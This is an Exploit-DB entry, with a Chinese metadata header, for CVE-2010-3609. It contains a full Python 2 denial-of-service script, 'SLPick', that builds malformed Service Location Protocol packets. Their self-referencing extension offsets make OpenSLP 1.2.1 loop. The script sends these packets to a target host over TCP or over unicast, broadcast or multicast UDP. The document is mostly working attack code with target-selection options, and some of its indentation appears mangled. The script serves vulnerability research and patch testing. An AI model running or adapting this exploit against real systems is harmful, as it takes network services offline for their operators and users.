标题: OpenSLP 1.2.1 / < 1647 trunk - Denial of Service EDB-ID: 17610 CVE: 2010-3609 类型: DOS 平台: MULTIPLE 发布日期: 2011-08-05 漏洞利用脚本: #!/usr/bin/python

# Title: OpenSLP DoS
# Author: Nicolas Gregoire (@Agarri_FR)
# CVE: 2010-3609
# Software download: http://www.openslp.org/download.html 
# Version: v1.2.1 and trunk before revision 1647
# Tested on: Linux Ubuntu 10.04, VMware ESX 4.0
# Notes: It affects some others SLP softwares, like mSLP. More details (in French) on my blog => http://goo.gl/s0zHq

''' ==================================
          Pseudo documentation 
================================== '''

# SLPick, extension DoS release
# by Nicolas Gregoire

''' ==================================
             Imports 
================================== '''

import getopt
import re
import sys
import binascii
import struct
import socket
import os


''' ==================================
        Default values
================================== '''

version = '0.4'
mode = 'unicast'
source = 'N/A'
target = 'N/A'
xid = '\x12\x34'
port = 427
nb = 1
req = 'sr'

''' ==================================
        Standard functions
================================== '''

# Some nice formatting
def zprint(str):
 print '[=] ' + str

# Function displaying CLI arguments
def showUsage():
    print 'Usage : ' + sys.argv[0] + ' [-h] [-m mode] [-p port] [-n number] [-s source_IP] [-t target_IP]'
    print '\t[-h] Help (this text)'
    print '\t[-m] Mode : tcp / unicast / broadcast / multicast (default is "' + mode + '")'
    print '\t[-p] Port : default is "' + str(port) + '"'
    print '\t[-s] Source IP Adress : no default (used only in multicast mode)'
    print '\t[-t] Target IP Adress : no default (forced in multicast mode)'
    print '\t[-n] Number of extensions : 0 (no bug) / 1 (default) / 2 (trailing extension)'
    print '\t[-r] Request type : sr (ServerRequest, default) / ar (AttributeRequest)'
    sys.exit(1)

# Function parsing parameters
def getArguments():
    try:
        optlist, list = getopt.getopt(sys.argv[1:], 'hm:p:t:s:n:r:')
    except getopt.GetoptError:
        showUsage()
    for opt in optlist:
        if opt[0] == '-h':
            showUsage()
        if opt[0] == '-p':
            global port
            port = opt[1]
        if opt[0] == '-s':
            global source
            source = opt[1]
        if opt[0] == '-t':
            global target
            target = opt[1]
        if opt[0] == '-m':
            global mode
     mode = opt[1]
        if opt[0] == '-n':
            global nb
     nb = int(opt[1])
        if opt[0] == '-r':
            global req
     req = opt[1]

# Function checking parameters
def checkArguments():
    if (mode == 'multicast'):
        # XID : must be 0 in multicast mode
        # Target IP : default SLP multicast address
        # Source IP : address of the local interface 
        global xid
        xid = '\x00\x00'
 zprint('Forcing XID to "0"')
        global target
 target = '239.255.255.253'
 zprint('Forcing target IP to "' + target + '"')
        if (source != 'N/A') :
     zprint('Forcing source IP to "' + source + '"')
        else:
     zprint('You need to force the source address with "-s" !')
            showUsage()
    elif (mode == 'unicast') or (mode == 'broadcast') or (mode == 'multicast') or (mode == 'tcp'):
        # Target IP : must be defined
        if (target == 'N/A') :
            zprint('Invalid target !')
            showUsage()
    else :
        zprint('Invalid mode !')
        showUsage()

''' ==================================
        SLP functions
================================== '''

# Define payload of type "Service Request"
def getServRequest():

 zprint('Creating payload of type "Service Request"')

 # Function type
 f = '\x01'
 # Empty fields
 previous_list_length = '\x00\x00'
 predicate_length = '\x00\x00'
 scope_length = '\x00\x00'
 spi_length = '\x00\x00'
 # Variable-size fields
 service = 'service:directory-agent'
 service_length = struct.pack('!h', len(service)) 
 # Create message
 m = previous_list_length + service_length + service
 m += predicate_length + scope_length + spi_length

 return(f, m)

# Define payload of type "Attribute Request"
def getAttrRequest():

 zprint('Creating payload of type "Attribue Request"')

 # Function type
 f = '\x06'
 # Empty fields
 previous_list_length = '\x00\x00'
 tag_length = '\x00\x00'
 spi_length = '\x00\x00'
 # Variable-size fields
 url = 'http://www.agarri.fr/'
 url_length = struct.pack('!h', len(url)) 
 scope = 'default'
 scope_length = struct.pack('!h', len(scope)) 
 # Create message
 m = previous_list_length
 m += url_length + url + scope_length + scope
 m += tag_length + spi_length

 return(f, m)

# Define the function creating the full SLP packet
def createPacket(function, message):

 zprint('Adding headers and trailers')

 # SLP Version
 version = '\x02'
        # Set the 'Multicast required' flag to 1
 if (mode == 'broadcast' or mode == 'multicast'):
     flags = '\x20\x00'
        else:
            flags = '\x00\x00'

        #######################################################
        # Here's the bug !!!!
        #######################################################
        zprint('Using ' + str(nb) + ' extension(s)')
        if (nb == 0):
            # No extension == no bug
     next_ext_offset = '\x00\x00\x00'
     extension = ''
 elif (nb == 1):
            # Loop over itself
     next_ext_offset = '\x00\x00\x05'
     extension = ''
        elif (nb == 2) :
            # Point to another extension located at the end of the packet
            # TODO : Calculate it at runtime
     if (req == 'sr'):
                next_ext_offset = '\x00\x00\x31'
            else :
                next_ext_offset = '\x00\x00\x36'
            # OpenSLP : extid should be < 0x4000 or > 0x7FFF 
     ext_id = '\xBA\xBE'
            # Loop over itself, 0x05 (back to previous extension) should work too 
     ext_nextoffset = next_ext_offset
     # Could be anything
            ext_data = '\x22\x22'
     # Create the trailing extension
            extension = ext_id + ext_nextoffset + ext_data
        else:
     print 'Wrong number of extensions'
            sys.exit(1)

 # Variable-size headers
 lang = 'en'
 lang_length = struct.pack('!h', len(lang)) 

 # Assemble headers
 headers = flags + next_ext_offset + xid + lang_length + lang

 # Packet = version + function + overall size + headers + message + extension
 packet = version + function + '\x00'
 packet += struct.pack('!h', len(headers + message + extension) + 5) 
 packet += headers + message + extension

 return packet

''' ==================================
           Send packet via TCP or UDP
================================== '''

# Send via TCP
def sendTcpPacket(packet):

 zprint('Sending packet via TCP [' + target + ']')
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.settimeout(3)
        try:
            s.connect((target, port))
        except socket.error:
            zprint('Socket error (port closed ?)')
            sys.exit(1)
 s.send(packet)
 s.close

# Send via unicast UDP
def sendUnicastPacket(packet):

 zprint('Sending packet via Unicast UDP [' + target + ']')
 s = socket.socket( socket.AF_INET, socket.SOCK_DGRAM )
 s.sendto( packet, (target, port) )

# Send via broadcast UDP
def sendBroadcastPacket(packet):

        zprint('Sending packet via Broadcast UDP [' + target + ']')
 s = socket.socket( socket.AF_INET, socket.SOCK_DGRAM )
        s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
 s.sendto( packet, (target, port) )

# Send via multicast UDP
def sendMulticastPacket(packet):

 zprint('Sending packet via Multicast UDP [' + target + ']')
 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
 sock.bind((source, 6666)) # Select an interface (and an evil port ;-)
 sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
 sock.sendto(packet, (target, port) );

''' ==================================
           Main code
================================== '''

# Print banner
zprint('SLPick : SLP client v' + version + ' (by Nicolas Gregoire)')

# Set options
getArguments()
checkArguments()

# Which payload ?
if (req == 'ar'):
    func, payload = getAttrRequest()
else :
    func, payload = getServRequest()

# Add headers and trailers (including extensions)
packet = createPacket(func, payload)

# TCP
if (mode == 'tcp'):
 sendTcpPacket(packet)
# UDP
elif (mode == 'unicast'):
 sendUnicastPacket(packet)
elif (mode == 'broadcast'):
 sendBroadcastPacket(packet)
elif (mode == 'multicast'):
 sendMulticastPacket(packet)

# Exit
zprint('Exit') URL: https://www.exploit-db.com/exploits/17610